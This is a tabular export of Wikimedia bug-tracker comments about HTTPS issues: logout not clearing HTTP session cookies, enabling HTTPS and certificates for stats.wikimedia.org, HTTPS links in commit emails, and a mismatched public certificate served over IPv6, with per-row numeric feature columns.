508164,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well",Reopening per T41676#1534951,,,1439546464,,PHID-USER-2wibf62nhsbcjs6773je,False,,,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_subcomment,,True,c2,3,False,,,102,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,8.666666666666666,1.0,Reopening per T41676#1534951
507379,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well",Invalid with move to HTTPS only,,,1439472123,,PHID-USER-lumvg23bxmfbvekr2fbo,False,,,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_subcomment,,True,c2,3,False,,,102,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Invalid with move to HTTPS only
162162,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well","(In reply to comment #1)
> 
> Wondering if bug 20643 would bring any changes. Probably not.

That bug is long fixed for all but a few special cases...

When you log out, wouldn't you want all your sessions to be logged out (even for other sessions for other computers)?",,,1360168116,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_subcomment,,True,c2,1,False,,,-29,True,6.0,0.0,0.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,9.0,4.0,0.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,6.0,17.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3773584905660377,0.7547169811320755,"(In reply to comment #1)
QUOTE
QUOTE

That bug is long fixed for all but a few special cases...

When you log out, wouldn't you want all your sessions to be logged out (even for other sessions for other computers)?"
162158,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well","Confirming: When I log in via HTTP and log out via HTTPS, I'm still logged in via HTTP. Tested with Opera 12.02 (removed any cookies before) on cs.wikipedia.org.

Wondering if bug 20643 would bring any changes. Probably not.",,,1359482489,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_subcomment,,True,c2,1,True,,,-31,True,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,8.0,21.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,21.0,12.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.9166666666666665,0.7916666666666666,"Confirming: When I log in via HTTP and log out via HTTPS, I'm still logged in via HTTP. Tested with Opera 12.02 (removed any cookies before) on cs.wikipedia.org.

Wondering if bug 20643 would bring any changes. Probably not."
34143,[OPS] stats.wikimedia.org not HTTPS enabled,"When trying to access stats.wikimedia.org via https:// (I just did a copy and paste of url), it throws up an authentication form for username and password with text ""Nagios Access"".  I am not sure whether this is the expected behaviour.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://stats.wikimedia.org
**See Also**:
https://rt.wikimedia.org/Ticket/Display.html?id=4749",Medium,50.0,1320228060,1380122860.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-3h7bflu7jjwfciy353hl,task_description,resolved,True,c2,1,False,False,True,-95,True,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,14.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,8.0,6.0,0.0,2.0,0.0,4.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.5476190476190474,0.6666666666666666,"When trying to access stats.wikimedia.org via https:// (I just did a copy and paste of url), it throws up an authentication form for username and password with text ""Nagios Access"".  I am not sure whether this is the expected behaviour.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL
**See Also**:
URL"
162127,[OPS] stats.wikimedia.org not HTTPS enabled,"https://gerrit.wikimedia.org/r/#/c/85971/
https://gerrit.wikimedia.org/r/#/c/85973/
https://gerrit.wikimedia.org/r/#/c/85981/
https://gerrit.wikimedia.org/r/#/c/85984/

and then finally

-->  https://stats.wikimedia.org/

08:12 < mutante> drdee: summary: https://stats.wikimedia.org/  (no cert error), https://metrics.wikimedia.org/ (no cert error), -not using wildcard certs, -puppet run unbroken, -apache site is template


metrics.wikimedia and stats.wikimedia now both use their own certs, no ""star"" certs around here :)",,,1380122860,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,14.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,3.5416666666666665,0.625,"URL
URL
URL
URL

and then finally

-->  URL

08:12 < mutante> drdee: summary: URL  (no cert error), URL (no cert error), -not using wildcard certs, -puppet run unbroken, -apache site is template


metrics.wikimedia and stats.wikimedia now both use their own certs, no ""star"" certs around here :)"
162122,[OPS] stats.wikimedia.org not HTTPS enabled,i don't see the Apache config for this in puppet. I just see the template for metrics.wm. Or where is it?,,,1376047702,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,12.0,4.0,4.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.84,i don't see the Apache config for this in puppet. I just see the template for metrics.wm. Or where is it?
162118,[OPS] stats.wikimedia.org not HTTPS enabled,"https://stats.wikimedia.org/ works but with the wrong cert.

stats.wikimedia.org uses an invalid security certificate.

The certificate is only valid for metrics.wikimedia.org",,,1376046724,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.541666666666667,0.875,"URL works but with the wrong cert.

stats.wikimedia.org uses an invalid security certificate.

The certificate is only valid for metrics.wikimedia.org"
162110,[OPS] stats.wikimedia.org not HTTPS enabled,"Quick update from RT ticket:

DONE: Cert is purchased and in public repo in files/ssl/stats.wikimedia.org.pem . The key is in private repo.
TODO: The manifests for the stats.w.o site need to be updated in puppet to make use of the certificates.",,,1374771096,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,4.0,0.0,6.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,13.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9615384615384617,0.75,"Quick update from RT ticket:

DONE: Cert is purchased and in public repo in files/ssl/stats.wikimedia.org.pem . The key is in private repo.
TODO: The manifests for the stats.w.o site need to be updated in puppet to make use of the certificates."
162104,[OPS] stats.wikimedia.org not HTTPS enabled,I have created RT #4749 to request HTTPS for stats.wikimedia.org.,,,1363468992,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,8.0,17.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,I have created RT #4749 to request HTTPS for stats.wikimedia.org.
162100,[OPS] stats.wikimedia.org not HTTPS enabled,stats.wikimedia.org does not listen to HTTPS. Rephrasing summary.,,,1359719810,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,True,,,-30,True,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.8,0.9,stats.wikimedia.org does not listen to HTTPS. Rephrasing summary.
162097,[OPS] stats.wikimedia.org not HTTPS enabled,"if the new ""stat1"" server currently being setup will host stats.wm, that should be resolved there soon.",,,1328618771,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.9523809523809523,"if the new ""stat1"" server currently being setup will host stats.wm, that should be resolved there soon."
162094,[OPS] stats.wikimedia.org not HTTPS enabled,"(In reply to comment #2)
> Link to RT ticket?
https://rt.wikimedia.org/Ticket/Display.html?id=1614

Ryan replied on Oct 3 saying the web server on spence isn't puppetized, no activity otherwise.",,,1320257016,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,False,,,-95,True,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.46875,0.9375,"(In reply to comment #2)
QUOTE
URL

Ryan replied on Oct 3 saying the web server on spence isn't puppetized, no activity otherwise."
162090,[OPS] stats.wikimedia.org not HTTPS enabled,Link to RT ticket?,,,1320256907,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Link to RT ticket?
162084,[OPS] stats.wikimedia.org not HTTPS enabled,"No, this is a bug. I've filed it in the ops team's RT tracker but it's not getting any love there so far.",,,1320228823,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,False,,,-95,True,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.8620689655172415,0.896551724137931,"No, this is a bug. I've filed it in the ops team's RT tracker but it's not getting any love there so far."
33826,Provide HTTPS URLs in commit mail,"Mails to the mailing list mediawiki-cvs start with a URL that leads to code review like:

http://www.mediawiki.org/wiki/Special:Code/MediaWiki/100252

Please change this to be a HTTPS link like:

https://www.mediawiki.org/wiki/Special:Code/MediaWiki/100252

Slightly related to bug 29008.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1319051040,1321392420.0,PHID-USER-w5a723w3wes6jd5wskgg,False,,False,PHID-TASK-k63deq6wvauhgjdtyt55,task_description,resolved,True,c2,1,False,False,True,-97,True,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7288135593220337,0.6271186440677966,"Mails to the mailing list mediawiki-cvs start with a URL that leads to code review like:

URL

Please change this to be a HTTPS link like:

URL

Slightly related to bug 29008.

--------------------------
**Version**: unspecified
**Severity**: normal"
152673,Provide HTTPS URLs in commit mail,"Fixed this a little while back, marking as such.",,,1321392420,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-k63deq6wvauhgjdtyt55,task_subcomment,,True,c2,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,3.6363636363636362,1.0,"Fixed this a little while back, marking as such."
152666,Provide HTTPS URLs in commit mail,"Hooks are now maintained in puppet, those versions in subversion are outdated. I'll take care of this today.",,,1319556571,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-k63deq6wvauhgjdtyt55,task_subcomment,,True,c2,1,True,,,-97,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.136363636363637,0.8636363636363636,"Hooks are now maintained in puppet, those versions in subversion are outdated. I'll take care of this today."
152661,Provide HTTPS URLs in commit mail,"Hook updated in https://www.mediawiki.org/wiki/Special:Code/MediaWiki/100702 (r100702 is probably also http, not https - wil look into that). Needs to be deployed. Adding shell keyword.",,,1319555528,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-k63deq6wvauhgjdtyt55,task_subcomment,,True,c2,1,False,,,-97,True,0.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6551724137931036,0.9310344827586207,"Hook updated in URL (r100702 is probably also http, not https - wil look into that). Needs to be deployed. Adding shell keyword."
152652,Provide HTTPS URLs in commit mail,"These URLs aren't generated by MediaWiki, so no direct relation to bug 29008 -- the post-commit hooks in the SVN repo will need to be tweaked.",,,1319051160,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-k63deq6wvauhgjdtyt55,task_subcomment,,True,c2,1,True,,,-97,True,0.0,0.0,0.0,6.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,13.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,16.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.774193548387097,0.9354838709677419,"These URLs aren't generated by MediaWiki, so no direct relation to bug 29008 -- the post-commit hooks in the SVN repo will need to be tweaked."
33800,upload.wikimedia.org provides wrong certificate via IPv6,"**Author:** `maxi`

**Description:**
When connectiong via IPv6 to upload.wikimedia.org a wrong certificate is shown.

The certificate is issued for ""*.wikimediafoundation.org"" and ""wikimediafoundation.org"" which does not match upload.wikimedia.org. See below.

 - Certificate[0] info:
  - X.509 Certificate Information:
        Version: 3
        Serial Number (hex): 027a5f
        Issuer: C=US,O=GeoTrust\, Inc.,CN=RapidSSL CA
        Validity:
                Not Before: Mon Jul 18 07:19:38 UTC 2011
                Not After: Tue Jul 19 16:14:20 UTC 2016
        Subject: serialNumber=DN84DBlZKsoLji7PlLHE4Pyj6ARQXJ-L,C=US,O=*.wikimediafoundation.org,OU=GT55614722,OU=See www.rapidssl.com/resources/cps (c)11,OU=Domain Control Validated - RapidSSL(R),CN=*.wikimediafoundation.org
        Subject Public Key Algorithm: RSA
        Certificate Security Level: Low
                Modulus (bits 2048):
                        00:c3:79:a7:e0:cc:5f:7b:cc:10:5b:d2:eb:88:0d:55
                        ee:66:da:63:7c:0d:73:19:e8:04:85:95:d1:7f:b1:ae
                        fa:92:60:c8:8c:79:99:72:5b:c6:42:72:80:b9:b5:9a
                        11:6a:43:0f:d1:f3:c7:87:84:79:5d:56:56:b5:97:f9
                        2e:39:5a:61:18:8b:4f:83:56:94:38:30:44:a9:43:79
                        1f:ed:3f:36:ef:33:61:21:ca:fa:e3:90:3e:c9:52:18
                        6e:c5:3d:24:19:52:a7:90:ed:75:7a:b4:6f:40:e5:58
                        57:75:75:54:a2:ba:07:5c:26:57:66:7c:d4:46:f3:82
                        fe:c9:29:be:86:be:3c:a2:d7:e4:6e:5a:3a:fe:77:df
                        76:85:97:79:08:00:6b:66:fd:be:fd:1d:e5:f5:36:16
                        7c:92:a3:12:17:b0:f5:72:9a:7a:6b:e4:d8:31:42:70
                        3e:84:b4:8c:ae:69:c2:29:34:b1:89:c7:60:85:f4:2e
                        33:8a:1a:4a:50:26:dd:4d:7b:34:71:85:02:1e:6f:1d
                        8f:f1:db:b2:e0:6c:05:a5:b0:98:c1:74:39:2d:04:9d
                        cb:51:80:36:d9:e8:bb:3f:76:27:01:c9:65:f4:d5:dd
                        04:fe:1e:f7:0e:c2:c4:59:84:c8:b1:04:71:c8:f6:aa
                        bb
                Exponent (bits 24):
                        01:00:01
        Extensions:
                Authority Key Identifier (not critical):
                        6b693d6a18424add8f026539fd35248678911630
                Key Usage (critical):
                        Digital signature.
                        Key encipherment.
                Key Purpose (not critical):
                        TLS WWW Server.
                        TLS WWW Client.
                Subject Alternative Name (not critical):
                        DNSname: *.wikimediafoundation.org
                        DNSname: wikimediafoundation.org
                CRL Distribution points (not critical):
                        URI: http://rapidssl-crl.geotrust.com/crls/rapidssl.crl
                Subject Key Identifier (not critical):
                        16f250574f6b2250a9caa67c53a7b59b9eefbc5c
                Basic Constraints (critical):
                        Certificate Authority (CA): FALSE
                Unknown extension 1.3.6.1.5.5.7.1.1 (not critical):
                        ASCII: 0;09..+.....0..-http://rapidssl-aia.geotrust.com/rapidssl.crt
                        Hexdump: 303b303906082b06010505073002862d687474703a2f2f726170696473736c2d6169612e67656f74727573742e636f6d2f726170696473736c2e637274
        Signature Algorithm: RSA-SHA1
        Signature:
                84:98:5c:64:9a:f1:09:05:31:5c:3f:89:56:41:a4:4c
                02:3d:8c:87:db:d2:31:91:21:1b:4a:f8:a7:83:5d:2c
                8d:90:63:ff:02:b5:7e:57:9e:42:22:63:23:cb:36:6d
                d8:a5:46:a2:97:68:97:ee:b9:ce:29:b4:89:bd:13:82
                01:c3:d2:eb:81:07:16:5a:38:18:97:fe:05:22:e0:ad
                7b:b1:c8:2a:8c:47:e8:60:cc:63:ae:61:2d:5f:45:a8
                e1:b6:eb:d2:8d:03:a1:84:0e:74:1c:af:75:f8:ab:10
                09:85:31:c0:58:16:82:fd:ca:eb:4e:7c:79:4c:cb:ec
                a7:39:70:96:ce:f5:fb:56:14:5b:c6:20:f7:8b:63:b3
                f7:90:84:2f:dd:bb:99:54:86:cf:e6:38:b4:e1:f9:a2
                85:61:05:0f:6f:51:73:04:76:60:a6:b5:c9:4d:18:ee
                27:17:6a:a7:cb:d9:c4:3d:a3:8d:7e:74:5a:1d:25:41
                ad:9e:ea:41:03:d1:c3:0f:a1:62:ed:76:04:cd:1e:62
                e6:0c:77:c7:34:e4:48:6e:85:83:e1:a0:c4:62:ab:5d
